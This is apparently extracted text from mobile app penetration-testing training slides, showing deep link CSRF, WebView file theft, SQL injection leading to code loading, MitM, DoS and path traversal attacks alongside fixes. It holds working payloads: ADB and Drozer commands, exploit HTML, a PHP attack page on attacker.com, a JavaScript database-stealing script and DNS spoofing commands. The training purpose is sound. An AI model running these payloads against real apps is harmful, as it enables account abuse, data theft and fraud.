Malicious attackers could trick users to follow arbitrary accounts without the user’s
consent via Deep Links.
Reproducing the Attack
Step 1: Procuring the Manifest

LAB
CHECK
As we already know, the best place to look for when we are testing for deep links in an
application is the Android Manifest file.
Command:
apktool d periscope_1.25.5.93.apk
Output:
I: Using Apktool 2.4.0 on periscope_1.25.5.93.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
S: WARNING: Could not write to (/Users/abhishekjm/Library/apktool/framework), using
/var/folders/5f/3qf_m4wn6_d1g703g5r1199h0000gn/T/ instead...
S: Please be aware this is a volatile directory and frameworks could go missing,
LAB
please utilize --frame-path if the default storage directory is unavailable
I: Loading resource table from file:
CHECK
/var/folders/5f/3qf_m4wn6_d1g703g5r1199h0000gn/T/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
Step 2: Analyzing the Manifest
NOT BROWSABLE = ONLY attackable from malicious apps on the device

BROWSABLE = ALSO attackable from websites (i.e. browsable → browser)
File:
AndroidManifest.xml
Contents:
LAB
<intent-filter>
[...] CHECK
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="www.periscope.tv" android:pathPrefix="/"
android:scheme="https"/>
[...]
<data android:host="pscp.tv" android:pathPrefix="/" android:scheme="http"/>
<data android:host="user" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="periscope.tv" android:pathPrefix="/" android:scheme="https"/>
<data android:host="pscp.tv" android:pathPrefix="/" android:scheme="http"/>
<data android:host="user" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="user" android:pathPrefix="/" android:scheme="pscpd"/>
<data android:host="broadcast" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="channel" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="discover" android:pathPrefix="/" android:scheme="pscp"/>
</intent-filter>
LAB
Here, the Deep Link with the scheme ‘pscp’ and ‘user’ as host looks specifically
interesting.The Deep Link here is: pscp://user/ CHECK
This means that there could be a parameter passed to this Deep Link which could be the
Periscope user id.
The user id is a unique identifier for any given user/profile on Periscope.

Step 3: Verifying the issue
Existent username on Periscope: pscp://user/MKBHD
Option 1: Deep Link Tester
LAB
Open the Deep Link Tester application, enter the above Deep Link and click on the ‘GO TO URI’
Get it here:
CHECK
https://training.7asecurity.com/mc/workshop/practical-mobile-app-attacks-by-example/apps/DeepLinkTester.apk
LAB
CHECK
Fig.: Deep Link for profile

Option 2: ADB Command
ADB Command:
adb shell am start -a "android.intent.action.VIEW" -d "pscp://user/MKBHD"
Option 3: Drozer Command
LAB
Using Drozer you should use the browseable activity scanner, this will provide you with a
list of URL schemes and activities to explore:
CHECK
NOTE: However, note that Drozer misses some URL schemes like pscpd://, therefore
this is not a replacement for a manual review
Drozer Command:
dz> run scanner.activity.browsable -a tv.periscope.android
Output:
Package: tv.periscope.android
Invocable URIs:
tv.periscope.android://
pscp://open
http://
https://www.periscope.tv/ (PATTERN_PREFIX)
https://b.pscp.live/g97c (PATTERN_PREFIX)
@2131821022:// LAB
CHECK
@2131821021://
https://@2131821040/__/auth/handler (PATTERN_LITERAL)
Classes:
tv.periscope.android.ui.login.AppAuthUriReceiverActivity
tv.periscope.android.LaunchActivity
tv.periscope.android.AppRouterActivity
com.facebook.CustomTabActivity
com.firebase.ui.auth.ui.provider.GitHubLoginActivity
net.openid.appauth.RedirectUriReceiverActivity
Drozer Command:
dz> run app.activity.start --action android.intent.action.VIEW --data-uri
"pscp://user/MKBHD"
Option 4: Malicious website

A malicious website could also invoke the app in this way, for this purpose navigate to:
LAB
https://7as.es/android/periscope_csrf.html and click on “Open User”
Opening the Browser using ADB:

CHECK
adb shell am start -a "android.intent.action.VIEW" -d
"https://7as.es/android/periscope_csrf.html"
LAB
CHECK
Fig.: Click on Android Browser → Opens Profile

The Deep link loads a user profile which means this Deep link supports operations on a
user profile/ user id.
Exploiting the CSRF vulnerability:
Next obvious step is to check if the user can be followed with the help of this Deep link:
pscp://user/MKBHD/follow
LAB
CHECK
Option 1: With Deep Link Tester
NOTE: Unfollow if needed first to verify :)

LAB
CHECK
Fig.: Following an account via Deep Link

Option 2: With ADB Commands
ADB Command:
adb shell am start -a "android.intent.action.VIEW" -d "pscp://user/MKBHD/follow"
Option 3: With Drozer LAB

NOTE: Unfollow if needed first to verify :) CHECK
Drozer Command:
dz> run app.activity.start --action android.intent.action.VIEW --data-uri
"pscp://user/MKBHD/follow"
Option 4: Malicious Website
Navigate to https://7as.es/android/periscope_csrf.html using the Android browser click on

“Periscope CSRF Demo”.
ADB Command to open URLs in the Android Browser: LAB

CHECK
adb shell am start -a "android.intent.action.VIEW" -d
"https://7as.es/android/periscope_csrf.html"
LAB
CHECK
Fig.: Exploiting the CSRF via a malicious website

As seen, the application automatically follows the account that has been passed to the
Deep link. This is rather a useful feature. But this can be a security bug if any random
user could be tricked into processing this Deep link. That way, an attacker can embed
the Deep link on a webpage or an ad and the visitors could be tricked into following a
profile that the attacker sets.
LAB
This can be verified by creating a simple HTML page and accessing it via an Android
device with Periscope (the given version) installed.
Code:
<!DOCTYPE html>
CHECK
<html>
<h1>
<pre>
<a href="pscp://user/MKBHD/">Open User</a>
<a href="pscp://user/MKBHD/follow">Periscope CSRF Demo</a>
</html>
For ease of access, we have hosted this here:
https://7as.es/android/periscope_csrf.html
You can prepare an HTML file with the following above documented code snippet and
host it somewhere and try it out yourself.
LAB
Open this link from your Android device and click on the ‘Periscope CSRF DEMO’ link.
This again leads to following the account embedded in the Deep link without the consent
of the user clicking on the Deep link.
CHECK
This is an example of a CSRF attack where the origin of the request is not verified and
hence, the attacker can trick any user into following an account without their consent.
Mitigation:
Fixing issues derived from URL schemes / Deep Links is usually accomplished by
prompting the user for confirmation prior to performing the action.
For example:
1) Show a message like:
“are you sure you would like to follow X?”
LAB
2)
CHECK
Perform the action ONLY only if the user confirms
DEMO: Periscope
LAB
CHECK
Source: https://infosecwriteups.com/the-zaheck-of-android-deep-links-a5f57dc4ae4c
Deep Link attacks
to
make phone calls
Get DVIA-v2
For this section, we will use the following version of DVIA-v2 for iOS:
https://training.7asecurity.com/mc/workshop/practical-mobile-app-attacks-by-example/apps/DVIA-v2-swift.ipa
Read more about it:

http://damnvulnerableiosapp.com/
Finding & Exploiting URL handlers
Does the app implement a URL handler? If so, this could be an interesting attack
surface. How can we find this?
Option 1: Without Xcode
Look at the Info.plist file within the app source code (not dependencies):
Commands:
cd
/Users/7a/training/iOS/lab3/DVIA-v2-2dd120f3eef243737871c8f0fe8a094701991bd9/DVIA-v
2/DVIA-v2
grep URLScheme -A 4 Info.plist
Output:
<key>CFBundleURLSchemes</key>
<array>
<string>dvia</string>
<string>dviaswift</string>
</array>
Option 2: With Xcode
Click on the app, go to “Info” and scroll down to “URL Types”, and then look at “URL
schemes”:
Fig.: Finding URL Schemes with Xcode

Result:
This means that URLs like dviaswift:// and dvia:// will be opened by DVIA-v2.
What can we do with this? First of all we need to review the URL handler
implementation, this is generally located in a file called AppDelegate (.m for Objective C
and .swift for Swift).
Option 1: Without Xcode
If you don’t have Xcode (i.e. you are not using a Mac) you can find the AppDelegate file
like so:
Command:
find . -name AppDelegate.swift
Output:
./DVIA-v2/AppDelegate.swift
If you edit this file with your favorite editor, you will notice the following interesting URL
handling code:
Affected File:
./DVIA-v2/AppDelegate.swift
Affected Code:
func application(_ app: UIApplication, open url: URL, options:
[UIApplicationOpenURLOptionsKey : Any] = [:]) -> Bool {
let splitUrl = url.absoluteString.components(separatedBy:

"/phone/call_number/")
if ((Int(splitUrl[1])) != nil){
//Valid URL, since the argument is a number
let alertController = UIAlertController(title: "Success!", message:
"Calling \(splitUrl[1]). Ring Ring !!!", preferredStyle: .alert)
let okAction = UIAlertAction(title: "OK", style:
UIAlertActionStyle.default, handler: nil)
alertController.addAction(okAction)
window?.rootViewController?.present(alertController, animated: true,
completion: nil)
}
return true
}
Option 2: Using Xcode

If you are using Xcode you can confirm the affected snippet by navigating to the
AppDelegate.swift file and then reviewing the URL open implementation:
Fig.: AppDelegate implementation for the URL handler

Result:
This means that the app appears to expect URLs like the following, and will ring the
number without further user prompts or confirmation:
Sample URLs:
dviaswift://phone/call_number/1234567890
dvia://phone/call_number/1234567890
Let’s confirm this, from your Jailbroken phone, using Safari open the following URL:
URL:
https://7as.es/ios/url_handler_dvia-v2.html
You can also take the HTML from the above link and host it on your own server to test.
Or simply review the HTML to understand how this works:
HTML:
<html>
<body>
<h1>
<pre>
<a
href="dviaswift://phone/call_number/1234567890">dviaswift://phone/call_number/12345
67890</a>
<a
href="dvia://phone/call_number/1234567890">dvia://phone/call_number/1234567890</a>
</pre>
</h1>
</body>
</html>
When you click on the link, Safari will prompt you to open it on DVIAv2, click on “Open”:
Fig.: Exploiting the URL handler

The ability to make an app ring arbitrary phone numbers is a serious issue in the mobile
environment due to the possibility of making the app ring premium numbers, hence
attackers can monetize the attack vector more easily.
Source: http://nwksgmd4.blogspot.com/2011/10/yet-more-on-water-for-oil-gas-drilling.html
DEMO: Custom iOS URL handlers
DeepLink Scenario: URL → Browser
#1 - Exported Activity: Browsing functionality
The app has some functionality that:
→ Expects other apps to send URLs to it
→ Opens those URLs and shows them to the user
Implicitly exported activity:

<activity android:name=".Browser" [...]>[...]
<intent-filter>
<action android:name="android.intent.action.SEARCH" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
#2 - Intent Extra Processing
protected void onNewIntent(Intent intent) {
String action = intent.getAction();
if (Intent.ACTION_SEARCH.equals(action)) {
String url = intent.getStringExtra(Search.QUERY);
Message msg = new Message();
msg.getData().putString("url", url);
mLoadHandler.sendMessage(msg);
}
#1: Exported activity: some.app.browser.Browser
#2: Intent extra: query
#3: URL validation:
static final Pattern ACCEPTED_URI_SCHEMA = Pattern.compile("(?i)" + // case insensitive
"(" +
"(?:http|https|file):\\/\\/"
+ "|(?:data|about|content|javascript):" + ")" + "(.*)");
Deeplink → Go to SD Card → Steal DBs
#1: Exported activity: some.app.browser.Browser
#2: Intent extra: query
#3: URL validation:
static final Pattern ACCEPTED_URI_SCHEMA = Pattern.compile("(?i)" + // case insensitive
"(" +
"(?:http|https|file):\\/\\/"
+ "|(?:data|about|content|javascript):" + ")" + "(.*)");
Source: https://thecinemaholic.com/wp-content/uploads/2020/10/nintchdbpict000286651139.jpg
Attack: Go to SD Card + Steal DBs
Part 1: Intent from malicious app
Java Code:
String url = "file:///mnt/sdcard/steal.html";
Intent i = new Intent(Intent.ACTION_SEARCH);
i.addCategory(Intent.CATEGORY_DEFAULT);
final ComponentName cn = new ComponentName(
"Some.app.browser",
"some.app.browser.Browser");
i.setComponent(cn);
i.putExtra("query", url);
startActivity(i);
Attack: Go to SD Card + Steal DBs (cont.)
File:
/mnt/sdcard/steal.html
Contents:
<script>var xmlhttp=new XMLHttpRequest();
var db_loc = '/data/data/some.app.browser/databases/'
var db_files = [ 'db1.db', 'db2.db', 'db3.db' ]
for (var i in db_files) { //Retrieving all databases in JavaScript
var full_path = db_loc + db_files[i]
xmlhttp.open("GET", "file://" + full_path, false);
xmlhttp.send(null);
alert('Got DB: ' + full_path + "\r\n" + ret); //Showing the retrieved file in JavaScript
}</script>

<img src="https://7asecurity.com/logo/small-logo.svg" />
Attack: Go to SD Card + Steal DBs (cont.)
Fix: Go to SD Card + Steal DBs
→ Do not accept file:// URLs if possible
→ webSettings().setAllowFileAccess(false);
Disables filesystem only, defaults to true

https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess(boolean)
→ webSettings().setAllowFileAccessFromFileURLs(false);
Disables file access from file URLs

Defaults to false since Android 4.1 (API 16)
https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccessFromFileURLs(boolean)
Fix: Go to SD Card + Steal DBs
→ webSettings().setAllowUniversalAccessFromFileURLs(false);
Disables access to content from any origin from file URLs

Defaults to false since Android 4.1 (API 16)
https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowUniversalAccessFromFileURLs(boolean)
Browser App → Attacker Website → DeepLink?
File:
ProxyURLProtocol.m (Onion Browser)
Contents:
else if ([[[[self request] URL] absoluteString]
rangeOfString:@"forcequit"].location != NSNotFound) {
/ onionbrowser:forcequit /
UIAlertView *alert = [[UIAlertView alloc]
initWithTitle:@"Force-quitting"
message:@"Onion Browser will now close. Restarting the app will
try a fresh Tor connection."
delegate:self
cancelButtonTitle:@"Quit app" otherButtonTitles:nil];
[alert show];
Attacker Page → close browser :)
PoC:
<img src="onionbrowser:forcequit" />
Contents:
else if ([[[[self request] URL] absoluteString]
rangeOfString:@"forcequit"].location != NSNotFound) {
/ onionbrowser:forcequit /
UIAlertView *alert = [[UIAlertView alloc]
initWithTitle:@"Force-quitting"
message:@"Onion Browser will now close. Restarting the app will
try a fresh Tor connection."
delegate:self
cancelButtonTitle:@"Quit app" otherButtonTitles:nil];
[alert show];
Fix: Any page can forcequit the browser
→ At a minimum, prompt the user before quitting.
→ If possible, eliminate forcequit functionality
→ Implement a separate screen flow for help area, which websites cannot invoke.
→ In general, consider Universal links as custom URLs can be hijacked and are
insecure.
Deeplink → SQLi → RCE!!?
Scenario: CRM app with Google auth
→ Popup if user not logged in
→ User is prompted to login to Google
→ Popup closes and sends data to app after auth
AndroidManifest.xml:
<activity [...] android:name="LoginWebView">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="vulnapp"/>
</intent-filter>
</activity>
Saving token after Google authentication:

public synchronized void UpdateCred(String col, String val){
SQLiteDatabase db = this.getWritableDatabase(Value);
db.execSQL("UPDATE "+Credentials+" SET "+col+" = '"+val+"'");
db.close();
}
Deeplink → SQLi + RCE :)
AndroidManifest.xml:
<activity [...] android:name="LoginWebView">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="vulnapp"/>
</intent-filter>
</activity>
Saving token after Google authentication:

public synchronized void UpdateCred(String col, String val){
SQLiteDatabase db = this.getWritableDatabase(Value);
db.execSQL("UPDATE "+Credentials+" SET "+col+" = '"+val+"'");
db.close();
}
Attack: SQLi + RCE via exported activity
Attack Variant 1: Malicious app attack
Step 1: Create bad binary as PoC

cd /data/data/just.trust.me
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > test.so
chmod 777 test.so
Step 2: Pwn
adb shell am start -a "android.intent.action.VIEW" -n
"some.vuln.app/some.vuln.app.LoginWebView" -d
"vulnapp://?data=\'%20where%201%3D$select%20load_extension\(\'%2Fdata%2Fdata%2Fjust.trust.m
e%2Ftest\'$\)%3B%2F%2F"
Attack: SQLi + RCE via exported activity
Step 3: Verify
E/AndroidRuntime( 5361): Caused by:
net.sqlcipher.database.SQLiteException: dlopen failed:
"/data/data/just.trust.me/test.so" has bad ELF magic: UPDATE creds SET
auth_key = '' where 1=(select load_extension('/data/data/just.trust.me/test'));//'
Source: https://www.memecreator.org/static/images/memes/4936640.jpg
Attack: SQLi + RCE via browsable activity
Attack Variant 2: Malicious website attack (works on Android < 6)
File 1:
http://attacker.com/a.php
Contents:
<?php
header("Content-Type: application/octet-stream");
header('Content-Disposition: attachment; filename="test.so"');
echo str_repeat('A', 40);
File 2:
http://attacker.com/d.php
Contents:
<?php
$payload = "' where 1=(select load_extension('/sdcard/Download/test'));//";
?>
<iframe src="a.php"></iframe>
<iframe id="trigger"></iframe>
<script>
setTimeout(function() {
document.getElementById('trigger').src =
"vulnapp://?data=<?=$payload?>";
}, 5000); 
</script>
Verify:
E/AndroidRuntime( 5101): Caused by:
net.sqlcipher.database.SQLiteException: dlopen failed: library
"/sdcard/Download/test.so" has bad ELF magic: UPDATE creds SET
auth_key = '' where 1=(select load_extension('/sdcard/Download/test'));//'
URL validation?
if ([URL.absoluteString rangeOfString:@"https://"].location == 0) {
Boolean ignoreSSLErrors = NO;
if ([URL.host rangeOfString:@".onion"].location != NSNotFound) {
#ifdef DEBUG
NSLog(@"loading https://*.onion/ URL,
ignoring SSL certificate status (%@)", URL.absoluteString);
#endif
ignoreSSLErrors = YES;
Ignore SSL warnings on non-onion domains
if ([URL.absoluteString rangeOfString:@"https://"].location == 0) {
Boolean ignoreSSLErrors = NO;
#ifdef DEBUG
NSLog(@"loading https://*.onion/ URL,
ignoring SSL certificate status (%@)", URL.absoluteString);
#endif
ignoreSSLErrors = YES;
NOTE: [ Different than “not found” ] = found

Is a silly way of saying:

if (URL.host contains ".onion") [ pseudo code ]
Source: http://www.quickmeme.com/meme/3522lp
Attack: Ignore SSL warnings non-onion domains
1. Create subdomain: www.paypal.com.onion.7-a.org, pointing to 217.163.21.38 (Google)
2. Visit https://www.paypal.com.onion.7-a.org on a normal browser = security warnings
3. Visit https://www.paypal.com.onion.7-a.org on Onion Browser = no warnings
NOTE: This is a very common logic bug → return true when a substring is found
anywhere = problems. Common culprits: "includes", "contains", "strstr", etc.
https://7asecurity.com/reports/pentest-report_onion-browser.pdf
Fix: Ignore SSL warnings non-onion domains
→ Check the URL host name ends with .onion

→ Verify the .onion domain is actually running an onion server
Episode: Sexy Logic bugs
Logic bugs are:
→ Often subtle issues
→ Sometimes hard to find
→ Almost always missed by automated tools
In short:
Logic bugs are not going away any time soon :)
Scenario: JavaScript disabled by default
Code:
mWebView.getSettings().setJavaScriptEnabled(prefs.getBoolean(getString(R.string.pref_javascr
ipt), true));
Solution: JavaScript disabling not working
Code: ← The setting defaults to true if not explicitly set in the preferences
mWebView.getSettings().setJavaScriptEnabled(prefs.getBoolean(getString(R.string.pref_javascrip
t), true));
PoC
<svg/onload=alert('document.cookie='+document.cookie+'\ndocument.referrer
='+document.referrer+'\nwindow.name='+window.name+'\nnavigator.appCodeNam
e='+navigator.appCodeName+'\nnavigator.appName='+navigator.appName+'\nnav
igator.appVersion='+navigator.appVersion+'\nnavigator.platform='+navigato
r.platform+'\nnavigator.userAgent='+navigator.userAgent+'\nnavigator.java
Enabled()='+navigator.javaEnabled()+'\nscreen.width='+screen.width+'\nscr
een.height='+screen.height+'')>
Attack: JavaScript disabling not working PoC
Fix: JavaScript disabling not working
Problem:
mWebView.getSettings().setJavaScriptEnabled(prefs.getBoolean(getString(R.string.pref_javascr
ipt), true));
Solution:
Option 1: Ensure preferences are set in the preference file
Option 2: default to the most secure setting instead, i.e. false
Episode: MitM attacks
Source: https://dpsvdv74uwwos.cloudfront.net/
Scenario: Secure Messenger app
Source: https://techcrunch.com/
Attack: Clear-text XMPP MitM
Step 1: Attacker manipulates clear-text XMPP response
NOTE: Only available authentication mechanism = clear-text (PLAIN)
Server: Give me your creds please?
<stream:features><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/><mechanismsxmlns='urn:
ietf:params:xml:ns:xmpp-sasl'><mechanism>PLAIN</mechanism></mechanisms></stream:features>
Step 2: The mobile app sends credentials in plain text

<auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl'
mechanism='PLAIN'>YWJlQDdhc2VjdXJpdHkuY29tAGY1ZGY0ZjY1LTZiM2MtNDk3OS1iM2RjLTA5MWExNjA0MGI1OA=
=</auth>
Step 3: Attacker base64-decodes

[email protected]
Fix: Clear-text XMPP MitM
→ Enforce TLS connections
→ If TLS is unavailable, refuse to connect, don't allow clear-text fallbacks
Episode: Sexy DOS Attacks
Scenario: Tracking library
Question: What does this command do?
Command:
sbd -r 0 -c off -nvlp 80 -e yes
Attack: DoS via memory consumption
Point device to attacker-controlled machine (i.e. DNS spoofing, MitM)
Command:
sbd -r 0 -c off -nvlp 80 -e yes
Errors:
malloc: *** mach_vm_map(size=2080374784) failed (error code=3)
*** error: can't allocate region
*** set a breakpoint in malloc_error_break to debug TEALIUM 3.2c: Exception
encountered: Attempt to allocate 2080374784 bytes for NS/CFData failed
*** Terminating app due to
uncaught exception 'NSMallocException', reason: 'Attempt to allocate 2080374784
bytes for NS/CFData failed'
Attack: DoS via memory consumption
Fix: DoS via memory consumption
→ Consider using another library
→ Implement adequate exception handling:
→ General exception handler for unexpected errors
→ Handle exceptions gracefully
Episode: Sexy copy-paste attacks
Scenario: Crypto vault Android app
Question: What attack is this?
<html>
<body>
<div style="-webkit-user-select: none;"><h1>Just select aaaall this text and
copy paste it!</h1></div>
<div style="-webkit-user-select: text; z-index:10; opacity: 0; position:
absolute; top: 20px;"><font
size=4>../../../data/data/org.sufficientlysecure.keychain/databases/openkeychain.db </font></
div>
</body>
</html>
Solution: File overwrite via path traversal
→ User sees unselectable text
→ When the user copies the text, they are copying something else
<html>
<body>
<div style="-webkit-user-select: none;"><h1>Just select aaaall this text and
copy paste it!</h1></div>
<div style="-webkit-user-select: text; z-index:10; opacity: 0; position:
absolute; top: 20px;"><font
size=4>../../../data/data/org.sufficientlysecure.keychain/databases/openkeychain.db </font></d
iv>
</body>
</html>
Attack: File overwrite via path traversal (cont)
User sees “text A” but pastes “text B”, ideal for fake tutorials! :)
Attack: File overwrite via path traversal (cont)
→ User overwrites the vault database

→ Entire contents no longer accessible
→ App crashes
https://7asecurity.com/reports/pentest-report_openkeychain.pdf
Fix: File overwrite via path traversal
→ Make sure users have an option to see the entire pasted text and not just the
beginning or the end
→ (Common problem in mobile apps: small UI + data rendering truncation = excellent

spoofing)
→ If you just expect a file from the user, get the basename (filename) of the path and
ignore the rest.
→ If you expect a path, make sure you:

1. Reject paths that contain ".."
2. resolve the path (../../path => /path)
3. verify the path starts with the expected location (i.e. /mnt/sdcard/, etc.)
4. concatenate the expected extension to the final URL (i.e. if you expect ".log",
add ".log" at the end)
Episode: Sexy Content Provider Attacks
Scenario: Browser app with custom URL handler
Attack: Adding fake news via Content Provider
Context: News app
PoC
String URL = "content://some.vulnerable.app/bestarticles/*";
Uri bestarticles = Uri.parse(URL);
ContentValues values = new ContentValues();
values.put("title", "President disappears after entering police box ...");
values.put("content", "President disappears after ...");
values.put("category_id", "-90");
values.put("article_id", "2490555");
values.put("authors", "attacker.com");
getContentResolver().insert(bestarticles, values);
Fix: Adding fake news via Content Provider
→ Do not export Content Providers unless needed
→ If must export, protect Content Provider with a permission that requires a signature
(i.e. only apps signed by the same developer can call the provider)
Attacking Updaters
Question: What's the problem with this?
Request:
http://some.site.com/messenger/x.x/update.json
Response:
HTTP/1.1 404 Not Found
Update URL → Premium number call
Request:
http://some.site.com/messenger/x.x/update.json
Response:
HTTP/1.1 200 OK
[...]
{"version":"2.0","forced":1,"url":"tel:1-408-555-5555"}
Attack: Premium number call
Fix: Premium number call
→ Check updates over TLS
→ Check the update URL is a URL and not a phone number
→ Verify the update URL matches some trusted domain(s)
→ Sign and verify the signature of update checks
→ Sign and verify the signature of updates
Scenario: Third party ZIP file retrieval (iOS)
File:
Info.plist
Affected Code:
<key>NSAppTransportSecurity</key>
<dict>
<key>NSExceptionDomains</key>
<dict>
<key>some.s3.amazonaws.com</key>
<dict>
<key>NSTemporaryExceptionAllowsInsecureHTTPLoads</key>
<true/>
</dict>
Defeating iOS ATS: Allow clear-text HTTP
Affected File:
Info.plist
Affected Code:
<key>NSAppTransportSecurity</key>
<dict>
<key>NSExceptionDomains</key>
<dict>
<key>some.s3.amazonaws.com</key>
<dict>
<key>NSTemporaryExceptionAllowsInsecureHTTPLoads</key>
<true/>
</dict>
Attack: Arbitrary file overwrite
App retrieves:
http://some.s3.amazonaws.com/some/path/upload/12345/some.zip
Attacker replaces ZIP file

Attacker can overwrite arbitrary app files
Fix: Arbitrary file overwrite
→ Avoid weakening ATS: No exceptions
→ Use dependencies that use secure TLS communications
Scenario: User dialog for SSL warnings
#1 - SSL exceptions trigger user interaction
} catch (CertificateException ae) {
try {
if (defaultTrustManager == null)
throw new CertificateException();
[...]
} catch (CertificateException e) {
e.printStackTrace();
askUser(chain, authType, e);
}
#2 - SSL warning Dialog
#3 - askUser registers a broadcast receiver
[...]
BroadcastReceiver decisionReceiver = new BroadcastReceiver() {
public void onReceive(Context ctx, Intent i) { userAnswer(i); }
};
master.registerReceiver(decisionReceiver, new IntentFilter(DECISION_INTENT +"/" +
master.getPackageName()));
masterHandler.post(new Runnable() {
public void run() { [...]
getUI().startActivity(ni); [...]
try {
synchronized(choice) { choice.wait(); } // wait for decision to be updated
[...]
master.unregisterReceiver(decisionReceiver);
#4 - userAnswer processes intents
public static void userAnswer(Intent i) {
int decisionId = i.getIntExtra(DECISION_ID);
int choice = i.getIntExtra(DECISION_CHOICE);
MTMDecision d;
synchronized(openDecisions) {
d = openDecisions.get(decisionId);
openDecisions.remove(decisionId);
}[...]
synchronized(d) {
d.state = choice; //Modify decision, close listener
d.notify();
master.unregisterReceiver(decisionReceiver);
switch (choice.state) {
case MTMDecision.DECISION_ALWAYS://3
storeCert(chain);
Attack: Permanent MitM prompt bypass
ADB Command:
adb shell am broadcast -a some.app.DECISION/some.app.im --ei
some.app.DECISION.decisionId 1 --ei some.app.DECISION.decisionChoice 3
Output:
Broadcasting: Intent { act=some.app.DECISION/some.app.im (has extras) }
Broadcast completed: result=0
Fix: Permanent MitM prompt bypass
→ Use a local broadcast receiver using LocalBroadcastManager instead of
BroadcastReceiver
https://developer.android.com/reference/android/support/v4/content/LocalBroadcastManager.html
→ If you must use the broadcast receiver, protect it with a permission
→ If you must use the broadcast receiver, consider making the decision ID an
unpredictable random token instead of a sequential ID.
Scenario: MitM of XMPP
Source: https://news-cdn.softpedia.com/
Attack: MitM of XMPP SSL without warnings
Step 1: DNS Spoof
dnschef -i 0.0.0.0 --fakeip=192.168.0.127
Step 2: Setup Prosody https://prosody.im/

File: /etc/prosody/prosody.cfg.lua
Contents:
VirtualHost "chat.facebook.com"
VirtualHost "gmail.com"
VirtualHost "jabber.org"
→ You need to add a VirtualHost entry for each domain you wish Prosody to serve.
→ Settings under each VirtualHost entry apply only to that host.
→ Result: it worked with the default self-signed certificate :P
Scenario: Clear-text HTTP communications (Android)
Source: https://mondrian.mashable.com/
1. The app gets XML from the server:
http://some.site.com/some/path/file.xml
2. The file is saved like so:

//toDownload.filename = retrieved from XML
//toDownload.contents = retrieved from XML
File mediaFile = new File(mediaDir, toDownload.filename);

[... save contents ...]
Attack: Permanent MitM via Arbitrary File Write
XML file retrieved over clear-text HTTP:
Average MitM attackers can change that
Attacker hosts XML file to receive human right violation reports forever:
Attacker modifies clear-text XML response:

<?xml [...]><mediaFile>
<filename>../../../../../data/data/some.vulnerable.app/shared_prefs/app_preferences.xml </file
name> <hash>md5:xxxxxxxx</hash>
<downloadUrl>https://attacker.com/pwn.xml</downloadUrl></mediaFile></manifest>
Forged preferences file on https://attacker.com/pwn.xml:

[...]<string name="server_url">https://attacker.com/submit</string>[...]
Attack: Permanent MitM via Arbitrary File Write (logcat)
/mnt/sdcard/path/.cache/xxxx/../../../../../data/data/some.vulnerable.app/shared_prefs/app_prefere
nces.xml has been deleted.
[...]
I/SomeTask( 450): Started downloading to
mnt/sdcard/path/.cache/app_preferences.xml
[...]
copied over
/mnt/sdcard/path/.cache/xxxx/../../../../../data/data/some.vulnerable.app/shared_prefs/app_prefere
nces.xml
Fix: Permanent MitM via Arbitrary File Write
→ Validate filename against a whitelist of characters, i.e. allow only: |^[a-zA-Z0-9\.]+$|
→ Use TLS, it's free now :)

https://letsencrypt.org/
→ Consider pinning to protect from high profile attackers:

https://cheatsheetseries.owasp.org/cheatsheets/Pinning_Cheat_Sheet.html
Episode: Sexy Crypto App Attacks
Scenario: Crypto Messenger Android app
Background: App receives encrypted files
private void saveFile(Uri inputUri, String originalFilename, String mimeType) {

[...]
File file = new File(inputUri.getPath());
File parentDir = file.exists() ? file.getParentFile() : Constants.Path.APP_DIR;
File targetFile = new File(parentDir, originalFilename);
FileHelper.saveFile(this, getString(R.string.title_decrypt_to_file),
getString(R.string.specify_file_to_decrypt_to), targetFile, REQUEST_CODE_OUTPUT);
Solution: Arbitrary file write on decryption
Background: App receives encrypted files
private void saveFile(Uri inputUri, String originalFilename, String mimeType) {

[...]
File file = new File(inputUri.getPath());
File parentDir = file.exists() ? file.getParentFile() : Constants.Path.APP_DIR;
File targetFile = new File(parentDir, originalFilename);
FileHelper.saveFile(this, getString(R.string.title_decrypt_to_file),
getString(R.string.specify_file_to_decrypt_to), targetFile, REQUEST_CODE_OUTPUT);
Attack: Arbitrary file write on decryption
User A: Encrypts message with originalFilename
//////////////////////////////////////../../../../../../data/data/some.vuln.app/databases/ba
dfile
User B: Receives and decrypts this file
Result:
User A can create and overwrite any file in the app storage.
Scenario: PGP Email iOS app
Source: https://apps.apple.com/
Background:
iOS app implements PGP email functionality in JavaScript.
User input = received message.
[html appendString:@"<!DOCTYPE HTML><html><head><script>"];

[html appendString:self.pgpContext.openPGPScript];
[html appendFormat:@"\nvar Private_Key = '%@';", [self.Private_Key stringEscapedForJavaScript]];
